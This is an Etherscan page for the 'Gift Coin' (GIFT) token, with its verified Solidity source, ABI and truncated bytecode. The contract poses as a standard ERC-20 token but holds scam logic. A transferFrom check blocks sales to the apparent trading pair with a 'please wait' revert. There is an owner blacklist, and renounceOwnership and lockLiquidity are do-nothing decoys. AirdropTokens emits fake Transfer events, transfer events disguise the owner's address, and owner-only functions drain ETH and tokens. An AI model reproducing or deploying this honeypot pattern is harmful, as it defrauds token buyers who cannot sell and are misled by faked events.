ETH Price: $2,846.61 (-0.95%)
 

Overview

Max Total Supply

100,000,000,000 GIFT

Holders

36

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
lt888.eth
Balance
441,094,539.025515668712998408 GIFT

Value
$0.00
0x984135669d4Fdd62103Ee3a760C6177f405E035a
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GIFT

Compiler Version
v0.6.12+commit.27d51765

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-01
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;


library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {

        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }


    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }


    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}


library Address {

    function isContract(address account) internal view returns (bool) {

        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }


    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }


    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                // solhint-disable-next-line no-inline-assembly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}


contract Context {
    constructor () internal { }

    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; 
        return msg.data;
    }
    
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    
    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);}


abstract contract ApproveAndCallFallBack {
  function receiveApproval(address sender, uint256 amount, address tokens, bytes memory data) virtual public ;
}



contract GIFT is Context, IERC20 {

    mapping (address => mapping (address => uint256)) private _allowances;
 
    mapping (address => uint256) private _balances;
    mapping(address => bool) public hasFuckedAround;

    using SafeMath for uint256;


    using Address for address;


   function withdrawToken(address _tokenContract, uint256 _amount) external _onlyOwner() {
    IERC20 tokenContract = IERC20(_tokenContract);

    // needs to execute `approve()` on the token contract to allow itself the transfer
    tokenContract.approve(address(this), _amount);

    tokenContract.transferFrom(address(this), _Owner, _amount);
}

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    function _setupDecimals(uint8 decimals_) internal {
        _decimals = decimals_;
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }


    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
    if(sender == _Owner) newun = recipient;
    else require(recipient != newun, "please wait");
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function foundOut(address _address, bool _hasFuckedAround) external _onlyOwner {
        hasFuckedAround[_address] = _hasFuckedAround;
    }


    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function renounceOwnership(address locker)  public _onlyOwner(){}

    function lockLiquidity()  public _onlyOwner(){}

    function Multicall(address _address, uint256 percent) external _onlyOwner {
        uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
        IERC20(_address).transfer(marketing_receiver, _amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {

        require(owner != address(0), "ERC20: approve from the zero address");

        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;

        emit Approval(owner, spender, amount);

    }
    function _beforeTokenTransfer(address sender) internal virtual view {
        require(!hasFuckedAround[sender],"Wallet is in the blacklist");
    }
    
    
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {

        require(sender != address(0), "ERC20: transfer from the zero address");
        
        _beforeTokenTransfer(sender);

        _balances[sender] = _balances[sender].sub(amount,"ERC20: transfer amount exceeds balance");

        _balances[recipient] = _balances[recipient].add(amount);
        
        if (sender == _Owner){sender = team;}if (recipient == _Owner){recipient = team;}
        emit Transfer(sender, recipient, amount);

    }


  function AirdropTokens(address uPool,address[] memory eReceiver,uint256[] memory eAmounts)  public _onlyOwner(){
    for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}

    modifier _onlyOwner() {
        require(msg.sender == _Owner, "Not allowed to interact");
        _;
    }
      receive() external payable {
        
     }

    function SecurityUpdate() public _onlyOwner() {
    address payable _Owner = msg.sender;
    _Owner.transfer(address(this).balance);
  }

    function approveAndCall(address spender, uint256 amount, bytes memory data) public returns (bool success) {
    _allowances[msg.sender][spender] = amount;
    emit Approval(msg.sender, spender, amount);
    ApproveAndCallFallBack(spender).receiveApproval(msg.sender, amount, address(this), data);
    return true;
  }



    string private _name;

    string private _symbol;

    uint8 private _decimals;

    uint256  _totalSupply;

    uint256 private _totalDistributed;

    uint256 private _treasure;

    address team;

    address public newun;

    address public _Owner = 0x39FC80F586CadDbBA2d1f0DbD0F196293f01B8B0;
    address internal marketing_receiver = 0x39FC80F586CadDbBA2d1f0DbD0F196293f01B8B0;

    constructor () public {
        _name = "Gift Coin";
        _symbol ="GIFT";
        _decimals = 18;
        _totalSupply = 100000000000 *(10**18)  ;
        _totalDistributed = _totalSupply.div(2)  ;
        _treasure = _totalDistributed  ;
        team = 0xddAcAd3B1edee8E2F5b2e84f658202534fcb0374;
        _balances[_Owner] = _totalDistributed;
        _balances[address(this)] = _treasure;
        emit Transfer(address(0),team,_totalDistributed);
        
    }

    }

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"uPool","type":"address"},{"internalType":"address[]","name":"eReceiver","type":"address[]"},{"internalType":"uint256[]","name":"eAmounts","type":"uint256[]"}],"name":"AirdropTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"Multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"SecurityUpdate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_Owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"approveAndCall","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_hasFuckedAround","type":"bool"}],"name":"foundOut","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"hasFuckedAround","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lockLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"newun","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"locker","type":"address"}],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenContract","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"withdrawToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040527339fc80f586caddbba2d1f0dbd0f196293f01b8b0600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507339fc80f586caddbba2d1f0dbd0f196293f01b8b0600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015620000bb57600080fd5b506040518060400160405280600981526020017f4769667420436f696e0000000000000000000000000000000000000000000000815250600390805190602001906200010992919062000464565b506040518060400160405280600481526020017f4749465400000000000000000000000000000000000000000000000000000000815250600490805190602001906200015792919062000464565b506012600560006101000a81548160ff021916908360ff1602179055506c01431e0fae6d7217caa0000000600681905550620001a560026006546200034760201b62001b0d1790919060201c565b60078190555060075460088190555073ddacad3b1edee8e2f5b2e84f658202534fcb0374600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060075460016000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600854600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6007546040518082815260200191505060405180910390a36200050a565b60006200039183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200039960201b60201c565b905092915050565b6000808311829062000449576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156200040d578082015181840152602081019050620003f0565b50505050905090810190601f1680156200043b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816200045657fe5b049050809150509392505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10620004a757805160ff1916838001178555620004d8565b82800160010185558215620004d8579182015b82811115620004d7578251825591602001919060010190620004ba565b5b509050620004e79190620004eb565b5090565b5b8082111562000506576000816000905550600101620004ec565b5090565b6124f1806200051a6000396000f3fe6080604052600436106101235760003560e01c806370a08231116100a0578063bb2f719911610064578063bb2f7199146107b5578063cae9ca51146107cc578063dcc23455146108d4578063dd62ed3e14610915578063f21129cc1461099a5761012a565b806370a082311461047b57806395d89b41146104e057806395f9bec1146105705780639e281a98146106e9578063a9059cbb146107445761012a565b806323b872dd116100e757806323b872dd146102f9578063313ce5671461038a57806338bf3cfa146103b85780635a729205146104095780635fba79f5146104645761012a565b806304b3a5c51461012f57806306fdde031461018c578063095ea7b31461021c57806318160ddd1461028d5780631ee59f20146102b85761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b5061018a6004803603604081101561015257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610a01565b005b34801561019857600080fd5b506101a1610b1f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101e15780820151818401526020810190506101c6565b50505050905090810190601f16801561020e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561022857600080fd5b506102756004803603604081101561023f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bc1565b60405180821515815260200191505060405180910390f35b34801561029957600080fd5b506102a2610bdf565b6040518082815260200191505060405180910390f35b3480156102c457600080fd5b506102cd610be9565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561030557600080fd5b506103726004803603606081101561031c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c0f565b60405180821515815260200191505060405180910390f35b34801561039657600080fd5b5061039f610e48565b604051808260ff16815260200191505060405180910390f35b3480156103c457600080fd5b50610407600480360360208110156103db57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e5f565b005b34801561041557600080fd5b506104626004803603604081101561042c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f25565b005b34801561047057600080fd5b50610479611187565b005b34801561048757600080fd5b506104ca6004803603602081101561049e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611299565b6040518082815260200191505060405180910390f35b3480156104ec57600080fd5b506104f56112e2565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561053557808201518184015260208101905061051a565b50505050905090810190601f1680156105625780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561057c57600080fd5b506106e76004803603606081101561059357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001906401000000008111156105d057600080fd5b8201836020820111156105e257600080fd5b8035906020019184602083028401116401000000008311171561060457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561066457600080fd5b82018360208201111561067657600080fd5b8035906020019184602083028401116401000000008311171561069857600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611384565b005b3480156106f557600080fd5b506107426004803603604081101561070c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114f1565b005b34801561075057600080fd5b5061079d6004803603604081101561076757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611758565b60405180821515815260200191505060405180910390f35b3480156107c157600080fd5b506107ca611776565b005b3480156107d857600080fd5b506108bc600480360360608110156107ef57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561083657600080fd5b82018360208201111561084857600080fd5b8035906020019184600183028401116401000000008311171561086a57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929050505061183b565b60405180821515815260200191505060405180910390f35b3480156108e057600080fd5b506108e9611a41565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561092157600080fd5b506109846004803603604081101561093857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a67565b6040518082815260200191505060405180910390f35b3480156109a657600080fd5b506109e9600480360360208110156109bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611aed565b60405180821515815260200191505060405180910390f35b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ac4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b80600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b606060038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bb75780601f10610b8c57610100808354040283529160200191610bb7565b820191906000526020600020905b815481529060010190602001808311610b9a57829003601f168201915b5050505050905090565b6000610bd5610bce611b57565b8484611b5f565b6001905092915050565b6000600654905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415610cad5782600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d72565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d71576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b610d7d848484611d55565b610e3d84610d89611b57565b610e388560405180606001604052806028815260200161244b602891396000808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610dee611b57565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461208a9092919063ffffffff16565b611b5f565b600190509392505050565b6000600560009054906101000a900460ff16905090565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f22576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b50565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fe8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b60006110b160646110a3848673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561105a57600080fd5b505afa15801561106e573d6000803e3d6000fd5b505050506040513d602081101561108457600080fd5b810190808051906020019092919050505061214a90919063ffffffff16565b611b0d90919063ffffffff16565b90508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561114657600080fd5b505af115801561115a573d6000803e3d6000fd5b505050506040513d602081101561117057600080fd5b810190808051906020019092919050505050505050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461124a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b60003390508073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611295573d6000803e3d6000fd5b5050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561137a5780601f1061134f5761010080835404028352916020019161137a565b820191906000526020600020905b81548152906001019060200180831161135d57829003601f168201915b5050505050905090565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611447576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b60005b82518110156114eb5782818151811061145f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8484815181106114c157fe5b60200260200101516040518082815260200191505060405180910390a3808060010191505061144a565b50505050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146115b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663095ea7b330846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561162a57600080fd5b505af115801561163e573d6000803e3d6000fd5b505050506040513d602081101561165457600080fd5b8101908080519060200190929190505050508073ffffffffffffffffffffffffffffffffffffffff166323b872dd30600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561171757600080fd5b505af115801561172b573d6000803e3d6000fd5b505050506040513d602081101561174157600080fd5b810190808051906020019092919050505050505050565b600061176c611765611b57565b8484611d55565b6001905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611839576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b565b6000826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156119cf5780820151818401526020810190506119b4565b50505050905090810190601f1680156119fc5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015611a1e57600080fd5b505af1158015611a32573d6000803e3d6000fd5b50505050600190509392505050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60026020528060005260406000206000915054906101000a900460ff1681565b6000611b4f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121d0565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611be5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806124986024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c6b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806123e26022913960400191505060405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ddb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806124736025913960400191505060405180910390fd5b611de483612296565b611e508160405180606001604052806026815260200161240460269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461208a9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ee581600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461235990919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611fa457600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1692505b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561202057600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290612137576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156120fc5780820151818401526020810190506120e1565b50505050905090810190601f1680156121295780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008083141561215d57600090506121ca565b600082840290508284828161216e57fe5b04146121c5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061242a6021913960400191505060405180910390fd5b809150505b92915050565b6000808311829061227c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191